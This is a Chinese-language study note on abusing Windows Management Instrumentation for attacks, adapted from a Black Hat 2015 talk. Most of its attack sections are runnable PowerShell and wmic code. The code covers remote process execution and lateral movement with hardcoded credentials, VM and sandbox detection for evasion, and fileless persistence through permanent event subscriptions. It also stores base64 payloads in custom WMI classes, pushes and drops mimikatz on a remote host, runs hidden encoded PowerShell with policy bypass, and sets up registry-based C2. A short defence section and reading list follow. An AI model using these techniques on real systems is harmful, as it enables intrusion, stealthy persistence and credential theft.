本文作者:伍默(内网知识星球学员)
本文是以WMI的重写版,本来这份笔记会更长,原版的笔记以Black Hat 2015的Abusing Windows Management Instrumentation (WMI) to Build a Persistent, Asyncronous, and Fileless Backdoor为主要学习资料,在笔记写到大概一万字的时候,Typora 中保存的内容部分丢失。于是重新整理,有了这份,我认为精简版的WMI笔记。
WMI 背景
WMI 是什么?Windows管理规范(WMI)是Microsoft对基于Web的业务管理标准(WBEM),公共信息模型(CIM)和分布式管理任务组(DMTF)的实现。
换句话说:Microsoft + CIM + WBEM +DMTF = WMI
打开MSDN 中关于WMI的描述是这样:
快速的过一下这部分内容的重点:
和WMI交互
在开始WMI之前,我建议 WmiExplorer 查看 自己机器上的Namespaces、Class、Property、Method等等,对我说的概念有一个简单的了解,复杂你可能会看着很懵。
为了验证上面我描述的一些内容,我建议WmiExplorer进行查看:
可以注意到前面描述中的Namespace、Class、Properties、Methods……。
实际上和WMI交互有多种方法:
另外两个小工具:
除了”IWbem* COM API“和”.NET System.Management classes“没有试过,其余的工具均有测试,推荐使用WMI Explorer ,GUI界面非常好用。
WMI Query Language (WQL)
参考:
Querying with WQL
(https://docs.microsoft.com/en-us/windows/win32/wmisdk/querying-with-wql)
WQL (SQL for WMI)
(https://docs.microsoft.com/en-us/windows/win32/wmisdk/wql-sql-for-wmi)
WMI 查询语言(WQL)是ANSI SQL 的子集,WQL支持以下的查询:
详细的语法请参考文档,这里不做过多介绍,用的最多的是 data queries ,请在实际查询中使用,需要明确的是WQL仅能查询,无法使用 Methods 进行增删改等操作。
Remote WMI Protocols
WMI 可以使用两种协议用于Remote WMI:分布式组件对象模型 (DCOM) 和 Windows 远程管理 (WinRM)。
DCOM
WinRM/PowerShell Remoting
参考:
About Windows Remote Management(https://docs.microsoft.com/en-us/windows/win32/winrm/about-windows-remote-management)
介绍Windows Remote Management(Winrm)之前,先了解WS-Management ,Ws-Man 协议是基于SOAP协议的DMTF开放标准,WinRM则是对WS-Man协议的 Windows 实现。
需要明确的是两种协议均支持NTLM or Kerberos,也就是说,Pass The Hash和Pass The Ticket对 Wmi 和WinRM均适用
Powershell-DCOM
从Powershell v3 及后续版本,Powershell 中提供了两种 Cmdlets:
CIM cmdlets 和WMI Cmdlets 差异在于 CIM Cmdlets 使用WSMAN(WinRM)连接远程计算机,WMI Cmdlets 是所有的是DCOM 连接远程计算机。
#WMI Cmdlets
$Username ="0day\Administrator"
$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential
$Username,$Password
#为了避免凭据提示弹框
Get-WmiObject -ComputerName OWA2010SP3 -Credential $Credential -Class
Win32_Process |Select-Object Name,ProcessId
#这里枚举了下进程
#另外支持WQL查询
Get-WmiObject -Query "select * from Win32_Process" |Select-Object Name,ProcessID
#该命令和上面的效果相同
Powershel-WinRM
#CIM cmdlets
$Username ="0day\Administrator"
$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential
$Username,$Password
$CimSessionOption = New-CimSessionOption -Protocol Dcom
$CimSession = New-CimSession -computerName OWA2010SP3 -Credential $Credential -SessionOption $CimSessionOption
Powershel-WinRM
ls wsman:\localhost #查看本地计算机WSman提供程序的目录层次结构
#需管理员权限
$Username ="0day\Administrator"
$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential
$Username,$Password
$CimSession = New-CimSession -computerName OWA2010SP3 -Credential $Credential
Get-CimInstance -CimSession $CimSession -ClassName Win32_Process |Select-ObjectName,ProcessId
WMI Eventing
WMI 事件订阅是订阅某些系统事件的方法。
WMI Eventing 有两种:
重点放在Permanent WMI Event Subscriptions上,永久的WMI 事件订阅存储在WMI repository,系统关键/重启之后任然存储着,并且,永久的WMI事件订阅是以System权限运行的。
WMI Eventing 包含3个组件(同时也是3类):
Event Filter
Event Filter 是一个WQL 查询,它描述了感兴趣的事件。有两种类型:
Event Consumer
Event Consumer 是触发事件是要执行的操作,提供了5个类:
Filter to Consumer Binding
Filter to Consumer Binding 是将 Filter 绑定到 Consumer 的注册机制
以上3种角色具体到WMI中体现为类,可查询判断是否添加生成:
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
#注意名称空间参数
WMI Attacks
从攻击者的角度包括不限于可以做到以下这些:
Reconnaissance
Host/OS information: ROOT\CIMV2:Win32_OperatingSystem
Win32_ComputerSystem, ROOT\CIMV2:Win32_BIOS
File/directory listing: ROOT\CIMV2:CIM_DataFile
Disk volume listing: ROOT\CIMV2:Win32_Volume
Registry operations: ROOT\DEFAULT:StdRegProv
Running processes: ROOT\CIMV2:Win32_Process
Service listing: ROOT\CIMV2:Win32_Service
Event log: ROOT\CIMV2:Win32_NtLogEvent
Logged on accounts: ROOT\CIMV2:Win32_LoggedOnUser
Mounted shares: ROOT\CIMV2:Win32_Share
Installed patches: ROOT\CIMV2:Win32_QuickFixEngineering
Installed AV: ROOT\SecurityCenter[2]:AntiVirusProduct
#查询对应的类即可,灵活运用Select-Object Format-List Format-Table cmdlets
这里提一下wmic,可能大家经常使用
wmic qfe get Caption,Description,HotFixID,InstalledOn
进行补丁的查询,Powershell cmdlets 着是这样的:
Get-CimInstance -ClassName Win32_QuickFixEngineering
MSDN有提到“wmic 中的 alias 是对 class 、property、method 的友好重命名”,你可以用 wmic alias qfe list brief 验证这一点:
WMI Attacks – VM/Sandbox Detection
SELECT * FROM Win32_ComputerSystem WHERE TotalPhysicalMemory < 2147483648
SELECT * FROM Win32_ComputerSystem WHERE NumberOfLogicalProcessors < 2
可通过内存与处理器的数量来判断是否为VM/Sandbox ,不排除高配置的VM/Sandbox
$VMDetected = $False
$Arguments = @{
Class = 'Win32_ComputerSystem'
Filter = 'NumberOfLogicalProcessors < 2 AND TotalPhysicalMemory < 2147483648'
}
if (Get-WmiObject @Arguments) { $VMDetected = $True }
echo $VMDetected = $False
#查看$VMDetected 是否为True
WMI Attacks – VM/Sandbox Detection (VMware)
如果VM/Sandbox 是VMware 的产品,可以从Vmware的一些特征查询:
SELECT * FROM Win32_NetworkAdapter WHERE Manufacturer LIKE "%VMware%"
SELECT * FROM Win32_BIOS WHERE SerialNumber LIKE "%VMware%"
SELECT * FROM Win32_Process WHERE Name="vmtoolsd.exe"
SELECT * FROM Win32_NetworkAdapter WHERE Name LIKE "%VMware%"
#如果任意一条语句查询出结果,当前机器大概率是Vmware 的 VM/Sandbox
在Powershell 中是这样的:
$VMwareDetected = $False
$VMAdapter = Get-WmiObject Win32_NetworkAdapter -Filter 'Manufacturer LIKE
"%VMware%" OR Name LIKE "%VMware%"'
$VMBios = Get-WmiObject Win32_BIOS -Filter 'SerialNumber LIKE "%VMware%"'
$VMToolsRunning = Get-WmiObject Win32_Process -Filter 'Name="vmtoolsd.exe"'
if ($VMAdapter -or $VMBios -or $VMToolsRunning) { $VMwareDetected = $True }
echo $VMDetected = $False
#注意几个WQL查询之间的逻辑关系为 OR
WMI Attacks – Code Execution and Lateral Movement
这里给出了两种协议的 代码执行和横向移动方式,基本都类似:
支持Kerberos
$Username ="0day\Administrator"
$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential
$CimSession = New-CimSession -computerName OWA2010SP3 -Credential $Credential
Invoke-CimMethod -CimSession $CimSession -Name Create -ClassName Win32_Process -Arguments @{CommandLine = 'notepad.exe'}
$Username ="0day\Administrator"
$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential InvokeWmiMethod -Class Win32_Process -Name Create -ArgumentList 'notepad.exe' -ComputerName OWA2010SP3 -Credential $Credential
WMI Attacks – Persistence
$filterName = 'EventFilter'
$consumerName = 'ConsumerName'
$exePath = 'C:\Windows\System32\calc.exe'
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
#Flter 可以尝试使用其他事件
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace
"root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query}
-ErrorAction Stop
#Event Filter
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace
"root\subscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}
#Event Consumer
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
#Filter to Consumer Binding
#需管理员权限
这里使用到的就是WMI Eventing,如果使用WmiExplorer可查看到对应命名空间中创建了新的实例。
适用Process Explorer监控发现calc.exe进程在启动之后,自动结束进程,目前稳定性尚未明确,如果使用来上线,做好进程迁移。
Remove-CimInstance -Query "Select * from __EventFilter where Name = 'EventFilter'" -Namespace "root\subscription"
#删除WMIEventFilter
Remove-CimInstance -Query "SELECT * FROM CommandLineEventConsumer WHERE Name='consumerName'" -Namespace "root\subscription"
#删除WMIEventConsumer
#删除FilterToConsumerBinding发现CIM cmdlets 报错,暂不明确原因,适用WMI cmdlets 解决
Get-WmiObject -Class __FilterToConsumerBinding -Namespace "root\subscription" -Filter "Consumer='CommandLineEventConsumer.Name=\'ConsumerName\''" |RemoveWmiObject -Verbose
以上是利用 WMI 进行 Persistence 的核心逻辑,很容易找到以下写好的Powershell 脚本:
这里代码太多,直接给了图片,整个脚本逻辑很清晰,只有3个函数Install-Persistence、RemovePersistence、Check-WMI,功能和函数名相同,实际使用时仅需要修改 $Payload 值即可持久化上线。
Powershell并不是唯一的选择,wmic 中也能实现相同的效果:
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="EventFilter", EventNameSpace="root\cimv2",QueryLanguage="WQL",
Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance
ISA 'Win32_PerfFormattedData_PerfOS_System'"
#WMI EventFilter
#系统启动 60秒后触发
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE
Name="ConsumerName",
ExecutablePath="C:\Windows\System32\calc.exe",CommandLineTemplate="C:\Windows\Sy
stem32\calc.exe"
#WMI Event Consumer
#我这里我启动的是calc
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE
Filter="__EventFilter.Name=\"EventFilter\"",
Consumer="CommandLineEventConsumer.Name=\"ConsumerName\""
#WMI Event FilterToConsumerBinding
WMI Attacks – Data Storage
$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_EvilClass'
$StaticClass.Put()
$StaticClass.Properties.Add('EvilProperty',"This is not the malware you're
looking for")
$StaticClass.Put()
#新建本地类存储
#需管理员权限
如何查看其中的值:
([WmiClass] 'Win32_EvilClass').Properties['EvilProperty']
#具体的获取Value的值
([WmiClass] 'Win32_EvilClass').Properties['EvilProperty'].value
具体的应用:
$LocalFilePath = "C:\Windows\System32\calc.exe"
$FileBytes = [IO.File]::ReadAllBytes($LocalFilePath)
$EncodedFileContentsToDrop = [Convert]::ToBase64String($FileBytes)
$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_EvilClass'
$StaticClass.Put()
$StaticClass.Properties.Add('EvilProperty',$EncodedFileContentsToDrop)
$StaticClass.Put()
$EncodedPayload=([WmiClass]'Win32_EvilClass').Properties['EvilProperty'].value
#将calc Base64吹后存储在Win32_evilClass 的 EvilProperty 中
#怎么执行?
#这里给出两种执行方式,推荐存储的是powershell脚本,否则执行可能会遇到问题
$PowerShellPayload = "powershell -ep bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -enc $EncodedPayload" Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList
$PowerShellPayload
$PowerShellPayload = "cmd /k $EncodedPayload"
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList
$PowerShellPayload
WMI Attacks – C2 Communication (WMI Class) – “Push” Attack
# Prep file to drop on remote system
$LocalFilePath = 'C:\Windows\System32\calc.exe'
#当然这个路径可以设置一个网络上的路径
$FileBytes = [IO.File]::ReadAllBytes($LocalFilePath)
$EncodedFileContentsToDrop = [Convert]::ToBase64String($FileBytes)
# Establish remote WMI connection
$Options = New-Object Management.ConnectionOptions
$Options.Username = '0day\Administrator'
$Options.Password = 'Admin!@#45'
$Options.EnablePrivileges = $True
$Connection = New-Object Management.ManagementScope
$Connection.Path = '\\192.168.3.142\root\default'
$Connection.Options = $Options
$Connection.Connect()
# "Push" file contents
$EvilClass = New-Object Management.ManagementClass($Connection, [String]::Empty,$null)
$EvilClass['__CLASS'] = 'Win32_EvilClass'
$EvilClass.Properties.Add('EvilProperty', [Management.CimType]::String, $False)
$EvilClass.Properties['EvilProperty'].Value = $EncodedFileContentsToDrop
$EvilClass.Put()
和上面的Data Storage 相似,不过这里是通过DCOM 远程连接,写入到远程主机的 Class 的 Properties 中,
$EncodedPayload=([WmiClass] 'Win32_EvilClass').Properties['EvilProperty'].value
$PowerShellPayload = "cmd /k $EncodedPayload" Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload
#需要再 192.168.3.142 上执行,如果通过远程读取,需要对应用户凭据
([WmiClass]'\\192.168.3.142:Win32_EvilClass').Properties['EvilProperty'].value
#另外笔者测试手里,如果目标是powershell脚本,推荐是使用下面的代码
$EncodedPayload=([WmiClass] 'Win32_Command').Properties['EvilProperty'].Value
#PowerShell执行命令
$PowerShellPayload = "powershell -ep bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -enc $EncodedPayload" Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload
注:笔者未复现成功,但是@九世成功了,我的系统是Win 10 1809 ,他的系统大概是Windows Server 2008 R2
不要误会这一节的标题,这里本意是使用利用WMI 构造C2 (下同),但我这里代码的用途仅仅是通过 Class 的 Properties 储存数据。
参考:
WMI Backdoor(https://juejin.im/post/5aa117a1f265da2384402949)
#完整的代码,
# Prep file to drop on remote system
$LocalFilePath=’C:\Users\jerry\mimikatz.exe’
$FileBytes=[IO.File]::ReadAllBytes($LocalFilePath)
$EncodedFileContentsToDrop=[Convert]::ToBase64String ($FileBytes)
# Establish remote WMI connection
$Options=New-ObjectManagement.ConnectionOptions
$Options.Username =’0day\Administrator’
$Options.Password =’Admin!@#45’
$Options.EnablePrivileges =$True
$Connection=New-ObjectManagement.ManagementScope
$Connection.Path =’\\192.168.3.142\root\default’
$Connection.Options =$Options
$Connection.Connect()
# “Push” file contents
$EvilClass=New-ObjectManagement.ManagementClass($Connection,[String]::Empty,$null)
$EvilClass[‘__CLASS’]=’Win32_EvilClass’
$EvilClass.Properties.Add(‘EvilProperty’,[Management.CimType]::String,$False)
$EvilClass.Properties[‘EvilProperty’].Value =$EncodedFileContentsToDrop
$EvilClass.Put()
#$Credential=Get-Credential’WIN-B85AAA7ST4U\Administrator’ 这是原版代码,下面是我修改的代码
$Username ="0day\Administrator"
$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential
$Username,$Password
$CommonArgs= @{
Credential =$Credential
ComputerName =’192.168.72.134’
}
# The PowerShell payload that will drop the stored file contents
$PayloadText=@’
$EncodedFile = ([WmiClass] ‘root\default:Win32_EvilClass’).Properties[‘EvilProperty’].Value[IO.File]::WriteAllBytes(‘C:\Users\Administrator\mimikatz.exe‘,[Convert]::FromBase64String($EncodedFile))
‘@
$EncodedPayload=[Convert]::ToBase64String([Text.Encoding] ::Unicode.GetBytes($PayloadText))
$PowerShellPayload=”powershell -NoProfile -EncodedCommand
$EncodedPayload”
# Drop the file to the target filesystem
Invoke-WmiMethod @CommonArgs -ClassWin32_Process-Name Create -ArgumentList $PowerShellPayload
# Confirm successful file drop
Get-WmiObject @CommonArgs -Class CIM_DataFile -Filter’Name = ‘C:\Users\Administrator\mimikatz.exe‘
#远程创建类存储数据,远程使用Powershell读取类中的数据写入到文件系统中
WMI Attacks – C2 Communication (Registry) – “Pull” Attack
$Username ="0day\Administrator"
$Password = ConvertTo-SecureString "Admin!@#45" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential
$Username,$Password
$CommonArgs = @{Credential =
$Credential
ComputerName = '192.168.3.142'
}
$HKLM = 2147483650
#HKEY_LOCAL_MACHINE = 2147483650(0x80000002)
Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name CreateKey -ArgumentList $HKLM,'SOFTWARE\EvilKey'
Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name DeleteValue -ArgumentList $HKLM,'SOFTWARE\EvilKey','Result'
#在远程主机上新建注册表项和值Result
$PayloadText = @'
$Payload = {Get-Process lsass}
$Result = & $Payload
$Output = [Management.Automation.PSSerializer]::Serialize($Result, 5)
#查阅MSDN,发现这是一种序列化对象的方法
$Encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Output)) Set-ItemProperty -Path HKLM:\SOFTWARE\EvilKey -Name Result -Value $Encoded
'@
$EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($PayloadText))
#序列化后对象之后编码为Base64
$PowerShellPayload = "powershell -NoProfile -EncodedCommand $EncodedPayload" Invoke-WmiMethod @CommonArgs -Class Win32_Process -Name Create -ArgumentList $PowerShellPayload
$RemoteOutput = Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name GetStringValue -ArgumentList $HKLM,'SOFTWARE\EvilKey','Result'
$EncodedOutput = $RemoteOutput.sValue
$DeserializedOutput = [Management.Automation.PSSerializer]::Deserialize([Text.Encoding]::Ascii.GetString([Convert]::FromBase64String($EncodedOutput)))
#将$EncodedOutput 解码,进行反序列化,笔者测试失败,遇到错误,有成功运行的师傅麻烦指教下。
WMI Attacks – Stealthy Command “Push”
上面例子中基本调用的是 powershell或cmd,在笔者其他篇中提到过ELK配合sysmon,查找这类攻击很容易,在Command-line中查找即可,还记得前面的脚本EventConsumer使用的都是CommandLineEventConsumer,但是没有使用 ActiveScriptEventConsumer,如果使用该类执行 VBScript,则只会启动WMI脚本宿主进程:
%SystemRoot%\system32\wbem\scrcons.exe -Embedding
整个过程看起来是这样:
等待Payload 执行,删除永久的WMI 事件订阅(也就是3个组件的类的实例),payload是由WMI脚本 宿主进程启动。
没有代码
WMI Providers
参考:WMI Providers
(https://docs.microsoft.com/en-us/windows/win32/wmisdk/developing-a-wmi-provider)
如果你注意到MSDN 文档,WMI Providers 有着详细的开发文档(最常见的是笔记本厂商往往会扩展 WMI Providers),如果构造出恶意的 WMI Providers 就能执行payload或者获取用户的数据。
笔者这反面了解甚少,这里演讲者推荐了几个项目
枚举 WMI Providers:
PoC WMI Backdoor
掠过,WMI Backdoor 未放出源代码,因此给出的函数实际意义不大。
Attack Defense and Mitigations
参考:Tales of a Threat Hunter 2
(https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/)
检测
相关文章:透过Autoruns看持久化绕过姿势的分享(一)
(https://www.freebuf.com/articles/network/164252.html)
防御
所有的系统行为都可以引发一个事件,包括前面的创建/删除WMI 永久事件订阅、修改注册表、安装 WMI Providers 都会触发对应的事件。
笔者的思路为:注册对应的WMI 永久事件订阅,来监控对应的事件,动作设置为写入日志或其他(列如通知)
注:删除WMI 永久事件订阅本身也可以触发事件
缓解措施
由于WMI 服务涉及 WinRM和DCOM,所以需要查看3种服务的日志,比较推荐使用sysmon 捕获日志
相关项目:WMI_Monitor(https://github.com/realparisi/WMI_Monit)
各类工具
参考:Persistence – WMI Event Subscription
(https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/)
PoshC2 中Invoke-wmievent
* Metasploit 中的`exploit/windows/local/wmi_persistence`,默认 Filter 是出现4625事件,4625事件是登录失败( runas 输入错误账户密码即可导致该事件 )
* Empire 中 `persistence/elevated/wmi`,同样是 4625 事件触发,`persistence/elevated/wmi_updater`可以从远程获取 payload,注册的 WMI 永久事件订阅 默认Name 为`AutoUpdater`
## 更多的资料
[Abusing Windows Management Instrumentation (WMI) to Build a Persistent,Asyncronous, and Fileless Backdoor](https://www.blackhat.com/docs/us15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-ToBuild-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf)
[THERE’S SOMETHING ABOUT WMI](https://www.fireeye.com/content/dam/fireeyewww/services/pdfs/sans-dfir-2015.pdf)
[Windows管理规范(WMI)指南:了解WMI攻击](https://www.varonis.com/blog/wmi-windowsmanagement-instrumentation/)
[Command and Control – WMI](https://pentestlab.blog/2017/11/20/command-andcontrol-wmi/)
[WMI 101 for Pentesters](https://www.ethicalhacker.net/features/root/wmi-101-for-pentesters/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+ehnet+%28The+Ethical+Hacker+Network+-+Online+Magazine%29)
[Handling Events with PowerShell and WMI]
(https://www.scriptrunner.com/en/blog/events-powershell-wmi/)
[Blue Team Hacks - WMI Eventing]
(https://mgreen27.github.io/posts/2017/04/03/Blue_Team_Hacks-WMI_Eventing.html)
[WMI vs. WMI: Monitoring for Malicious Activity]
(https://www.fireeye.com/blog/threat-research/2016/08/wmi_vs_wmi_monitor.html)
比较好的中文资料
[Windows WMI技术总结]
(http://1sparrow.com/2019/12/10/Windows%20WMI%E6%8A%80%E6%9C%AF%E6%80%BB%E7%BB%93/)
[wmic命令解析与实例]
(https://weiyigeek.top/2019/5/wmic%E5%91%BD%E4%BB%A4%E8%A7%A3%E6%9E%90%E4%B8%8E%
E5%AE%9E%E4%BE%8B.html)
> 完美的介绍了wmic命令的各种应用,用户管理、组管理、加域、配置ip、注册表编辑等等
以及三好学生的几篇博文
[WMI Attacks](http://drops.xmd5.com/static/drops/tips-8189.html)
[WMI Backdoor](https://juejin.im/post/5aa117a1f265da2384402949)
[WMI Defense](https://wooyun.js.org/drops/WMI%20Defense.html)
[Study Notes of WMI Persistence using wmic.exe]
(https://3gstudent.github.io/Study-Notes-of-WMI-Persistence-using-wmic.exe/)
[WSC、JSRAT and WMI Backdoor]
(https://wooyun.js.org/drops/WSC%E3%80%81JSRAT%20and%20WMI%20Backdoor.html)
FireEye 报告的译文
[WMI的攻击,防御与取证分析技术之攻击篇]
(https://wooyun.js.org/drops/WMI%20%E7%9A%84%E6%94%BB%E5%87%BB%EF%BC%8C%E9%98%B2%E5%BE%A1%E4%B8%8E%E5%8F%96%E8%AF%81%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E4%B9%8B%E6%94%BB%E5%87%BB%E7%AF%87.html)
[WMI 的攻击,防御与取证分析技术之防御篇](http://drops.xmd5.com/static/drops/tips10346.html)